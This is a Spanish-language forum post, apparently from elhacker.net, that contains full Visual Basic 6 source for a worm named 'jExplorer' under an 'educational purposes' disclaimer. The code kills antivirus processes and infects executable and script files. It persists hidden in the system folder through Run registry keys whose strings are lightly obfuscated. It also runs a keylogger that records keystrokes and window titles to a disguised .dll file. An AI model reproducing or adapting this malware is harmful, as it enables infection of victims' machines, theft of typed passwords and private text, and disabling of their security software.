Temas - _alexander

MI WORM

' jExplorer - Virus
'
' Este programa fue diseñado con fines educativos sin causar daños a primeros, segundos
' y terceros.
' Se acepta la libre distribución de este código siempre y cuando contenga los datos
' del autor y esta cabecera.
' El programador no se hace responsable del perjuicio que pueda ocasionar este programa
' quedando bajo responsabilidad del usuario final el uso de este código.

' Realizado por: Alexander Miss Gamboa
' Instituto Tecnológico Superior de los Ríos

' E-Mail: alexander_miss@hotmail.com
' Balancán Tabasco México.
'
' Cualquier duda, sugerencia y/o modificación será bien recibida.

' Elaboración: Marzo de 2007
' Última elaboración: 08 de Feb de 2008

'========================== C O M I E N Z A C O D I G O D E L F O R M ========================

Private Sub Form_Load()
On Error GoTo jerr
Dim aux_path As String, w As Integer

Call NombresAntivirus
Call FinalizarProcesosAntivirus

aux_path = App.path
If Right(aux_path, 1) <> "\" Then aux_path = aux_path & "\"

Call InfectarArchivos(aux_path, ".bat", ".exe", ".com", ".pif", ".scr") ', ".rar", ".zip")

If App.PrevInstance Then End

If CharLower(aux_path) <> CharLower(SysDir) Then
' Aquí comprobamos si estamos en la carpeta del sistema y nos copiamos en caso de no estarlo
Dim Copia As String

Copia = NombreCopia

Regedit HKEY_LOCAL_MACHINE, descifrar("TPGUXBSF]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]Svo"), descifrar("Xjoepxt!Dpnqpofou"), SysDir & "\" & Copia

Regedit HKEY_LOCAL_MACHINE, descifrar("TPGUXBSF]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]SvoTfswjdft"), descifrar("Xjoepxt!Dpnqpofou"), SysDir & "\" & Copia

'Regedit HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", ElegirPagina

aux_path = App.path
If Right(aux_path, 1) <> "\" Then aux_path = aux_path & "\"

CopyFile aux_path & MiNombre, SysDir & "\" & Copia, 0
SetFileAttributes SysDir & "\" & Copia, FILE_ATTRIBUTE_HIDDEN
ShellExecute GetForegroundWindow(), "open", SysDir & "\" & Copia, vbNullString, vbNullString, 0
End
End If

' El virus se cambia los atributos como oculto para que el usuario no sepa de su presencia
' Aunque esto no funciona siempre porque debe tener los archivos y carpetas ocultos en herramientas/opciones

SetFileAttributes aux_path & MiNombre, FILE_ATTRIBUTE_HIDDEN

FrmPrinc.Visible = False
App.TaskVisible = False
tmrCursor.Enabled = False

' Elegimos un sitio web de manera aleatoria y lo ponemos como página principal en el Registro de Windows
'Regedit HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", ElegirPagina

' Variable que utilizamos para indicar el nombre del archivo donde asignamos la información de logeo del usuario
vb_jexplorer = CharLower(App.path & "\" & App.EXEName & ".dll")

Dim ss As SYSTEMTIME

GetSystemTime ss

With FrmPrinc
If ss.wDay = 28 And ss.wMonth = 4 Then ' Jessica Alba
ArchivoDeTexto (JESSICA_ALBA)
.tmrCursor = True

ElseIf ss.wDay = 2 And ss.wMonth = 7 Then
'Lindsay Lohan

End If

'.TmrPagina.Enabled = True

.TmrjExplorer.Enabled = True
.TmrProcesos.Enabled = True
End With

If Conectado Then ' Si nos encontramos conectado (Si conectado = True)
' Si hay conexión a Internet enviamos e-mail según la condición siguiente

If SHFileExists(WinRar) Then

If SHFileExists(vb_jexplorer) Then
'Con esto es para ver si ya habiamos creado el archivo de captura del teclado, por lógica si ya ha sido
'creado es que ya estamos en la máquina.
'Call LoggeoMail
Else
'Si no pues mandamos un mail a todos los contactos por primera vez.
'Call MandarMail
End If
End If
End If

' Abrimos el archivo para llevar acabo el registro de lo que hace el usuario infectado

w = FreeFile
Open vb_jexplorer For Append As w
Print #w, vbCrLf & App.EXEName & " Comenzando: " & Fecha
Close w

Exit Sub
jerr:
' Api para mensajes en pantalla sustituyendo al MsgBox de visual basic
'MessageBox GetForegroundWindow(), "¡Error " & Str(Int(9000 * Rnd)) & "al ejecutar archivo!", "Microsoft Windows: Kernel32.dll", MB_ABORTRETRYIGNORE Or MB_ICONHAND
End
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next

Select Case UnloadMode
Case vbAppWindows
Dim w As Integer
w = FreeFile
Open vb_jexplorer For Append As w
If (aRez <> "") Then
Print #w, aRez
End If
Print #w, vbCrLf & "Finalizada la sesión " & Fecha
Close w
Case Else
Cancel = True
End Select
End Sub

Private Sub tmrCursor_Timer()
On Error Resume Next

' APIS
' SetCursorPos para posicionar el mouse en coordenada x, y
' GetSystemMetrics para la configuración de píxeles en pantalla, (0) para X y (1) para Y

SetCursorPos GetSystemMetrics(0) * Rnd, GetSystemMetrics(1) * Rnd

End Sub

Private Sub TmrPagina_Timer()
On Error Resume Next
Dim ss As SYSTEMTIME, aux As String

GetSystemTime ss

If ss.wDay = 28 And ss.wMonth = 4 Then
aux = ElegirPaginaWeb(JESSICA_ALBA)
ElseIf ss.wDay = 2 And ss.wMonth = 7 Then
aux = ElegirPaginaWeb(LINDSAY_LOHAN)
End If
ShellExecute Me.hwnd, "open", aux, vbNullString, vbNullString, True
End Sub

Private Sub TmrjExplorer_Timer()
On Error Resume Next
' Esto es un Keylogger - Para más información contacte a su autor

' Por: Cid (webarq@hotmail.com)
' http://www.infobyte.tk

If (ultAplica <> VentanaActiva(False)) And (VentanaActiva(False) <> "") Then
prnTxt = ultAplica
ultAplica = VentanaActiva(False)
impBin = True
GoTo Imprime
End If
Dim aChr As String
Dim i As Integer
i = 0
For i = 0 To 256
If GetAsyncKeyState(i) = -32767 Then
aChr = Chr(i)
GoTo Comprueba
Exit For
End If
Next i
Exit Sub
Comprueba:
If (i >= 65) And (i <= 90) Then
If (eShift = False) Then
If eBloqMayús = True Then
aChr = CharUpper(Chr(i))
Else
aChr = CharLower(Chr(i))
End If
Else
If eBloqMayús = False Then
aChr = CharUpper(Chr(i))
Else
aChr = CharLower(Chr(i))
End If
End If
End If
If (i >= 48) And (i <= 57) Then
If eShift = True Then
Select Case Val(Chr(i))
Case 0
aChr = "="
Case 1
aChr = "!"
Case 2
aChr = Chr("34")
Case 3
aChr = "#"
Case 4
aChr = "$"
Case 5
aChr = "%"
Case 6
aChr = Chr("38")
Case 7
aChr = "/"
Case 8
aChr = "("
Case 9
aChr = ")"
End Select
End If
End If
Select Case i
Case 1
aChr = "[c1]"
Case 2
aChr = "[c2]"
Case 8
aChr = "[BackSpace]"
Case 9
aChr = "[Tab]"
Case 13
aChr = "[Enter]" & vbCrLf & Chr(9)
Case 16
aChr = ""
Case 17
aChr = "[Control]"
Case 18
aChr = "[Alt]"
Case 27
aChr = "[Esc]"
Case 33
aChr = "[RePág]"
Case 34
aChr = "[AvPág]"
Case 35
aChr = "[Fin]"
Case 36
aChr = "[Inicio]"
Case 37
aChr = "[Izq]"
Case 38
aChr = "[Arb]"
Case 39
aChr = "[Der]"
Case 40
aChr = "[Abj]"
Case 44
aChr = "[ImprPant]"
Case 45
aChr = "[Ins]"
Case 46
aChr = "[Supr]"
Case 91
aChr = "[win]"
Case 92
aChr = "[win]"
Case 93
aChr = "[mnu]"
Case 96
aChr = "0"
Case 97
If eShift = True Then
aChr = "[Fin]"
Else
aChr = "1"
End If
Case 98
If eShift = True Then
aChr = "[Abj]"
Else
aChr = "2"
End If
Case 99
If eShift = True Then
aChr = "[AvPág]"
Else
aChr = "3"
End If
Case 100
If eShift = True Then
aChr = "[Izq]"
Else
aChr = "4"
End If
Case 101
aChr = "5"
Case 102
If eShift = True Then
aChr = "[Der]"
Else
aChr = "6"
End If
Case 103
If eShift = True Then
aChr = "[Inicio]"
Else
aChr = "7"
End If
Case 104
If eShift = True Then
aChr = "[Arr]"
Else
aChr = "8"
End If
Case 105
If eShift = True Then
aChr = "[RePág]"
Else
aChr = "9"
End If
Case 106
aChr = "*"
Case 107
aChr = "+"
Case 109
aChr = "-"
Case 110
aChr = "."
Case 111
aChr = "/"
Case 112
aChr = "[F1]"
Case 113
aChr = "[F2]"
Case 114
aChr = "[F3]"
Case 115
aChr = "[F4]"
Case 116
aChr = "[F5]"
Case 117
aChr = "[F6]"
Case 118
aChr = "[F7]"
Case 119
aChr = "[F8]"
Case 120
aChr = "[F9]"
Case 121
aChr = "[F10]"
Case 122
aChr = "[F11]"
Case 123
aChr = "[F12]"
Case 144
aChr = "[BloqNum]"
Case 145
aChr = "[BloqDespl]"
Case 186
If (eShift = True) Then
aChr = "¨"
Else
aChr = "´"
End If
Case 187
If (eShift = True) Then
aChr = "*"
Else
aChr = "+"
End If
Case 188
If (eShift = True) Then
aChr = ";"
Else
aChr = ","
End If
Case 189
If (eShift = True) Then
aChr = "_"
Else
aChr = "-"
End If
Case 190
If (eShift = True) Then
aChr = ":"
Else
aChr = "."
End If
Case 191
If (eShift = True) Then
aChr = "]"
Else
aChr = "}"
End If
Case 192
If (eShift = True) Then
aChr = "Ñ"
Else
aChr = "ñ"
End If
Case 219
If (eShift = True) Then
aChr = "?"
Else
aChr = "'"
End If
Case 220
If (eShift = True) Then
aChr = "°"
Else
aChr = "|"
End If
Case 221
If (eShift = True) Then
aChr = "¡"
Else
aChr = "¿"
End If
Case 222
If (eShift = True) Then
aChr = "["
Else
aChr = "{"
End If
Case 226
If (eShift = True) Then
aChr = ">"
Else
aChr = "<"
End If
End Select
If aChr <> "" Then aRez = aRez & aChr
Exit Sub
Imprime:
If (impBin) Then
aRez = Replace(aRez, "[Control][Alt]q", "@")
aRez = Replace(aRez, "[Control][Alt]'", "\")
aRez = Replace(aRez, "[Control][Alt]|", "¬")
aRez = Replace(aRez, "[Control][Alt]+", "~")
aRez = Replace(aRez, "[Control][Alt]{", "^")
aRez = Replace(aRez, "[Control][Alt]}", "`")
aRez = Replace(aRez, "[Control][Alt]+", "~")
aRez = Replace(aRez, "´ ", "´")
aRez = Replace(aRez, "´a", "á")
aRez = Replace(aRez, "´e", "é")
aRez = Replace(aRez, "´i", "í")
aRez = Replace(aRez, "´o", "ó")
aRez = Replace(aRez, "´u", "ú")
aRez = Replace(aRez, "´y", "ý")
aRez = Replace(aRez, "´A", "Á")
aRez = Replace(aRez, "´E", "É")
aRez = Replace(aRez, "´I", "Í")
aRez = Replace(aRez, "´O", "Ó")
aRez = Replace(aRez, "´U", "Ú")
aRez = Replace(aRez, "´Y", "Ý")
aRez = Replace(aRez, "¨ ", "¨")
aRez = Replace(aRez, "¨a", "ä")
aRez = Replace(aRez, "¨e", "ë")
aRez = Replace(aRez, "¨i", "ï")
aRez = Replace(aRez, "¨o", "ö")
aRez = Replace(aRez, "¨u", "ü")
aRez = Replace(aRez, "¨y", "ÿ")
aRez = Replace(aRez, "¨A", "Ä")
aRez = Replace(aRez, "¨E", "Ë")
aRez = Replace(aRez, "¨I", "Ï")
aRez = Replace(aRez, "¨O", "Ö")
aRez = Replace(aRez, "¨U", "Ü")
aRez = vbCrLf & VBA.Date & " " & VBA.Time$ & " [" & prnTxt & "]" & vbCrLf & Chr(9) & aRez
'Debug.Print aRez
Dim w As Integer
w = FreeFile
Open vb_jexplorer For Append As w
Print #w, aRez
Close w
aRez = ""
impBin = False
End If
End Sub

Private Sub TmrProcesos_Timer()
On Error Resume Next
Call FinalizarProcesosAntivirus
End Sub

Private Sub TmrTexto_Timer()
On Error Resume Next
' Para imprimir mensajes en pantalla al usuario infectado

Dim txt As String
txt = NombreChica & " wow!"
TextOut GetWindowDC(GetDesktopWindow()), GetSystemMetrics(0) * Rnd, GetSystemMetrics(1) * Rnd, txt, Len(txt)
End Sub

'========================== T E R M I N A C O D I G O D E L F O R M ========================

Test Foro de elhacker.net SMF 2.1

Mostrar Mensajes

Temas - _alexander

Programación Visual Basic / Virus en vb (SOLUCIONADO) - alguien penso que era broma?

Programación Visual Basic / Ejemplo de Virus algo simple en visual basic... (a quien le interesa)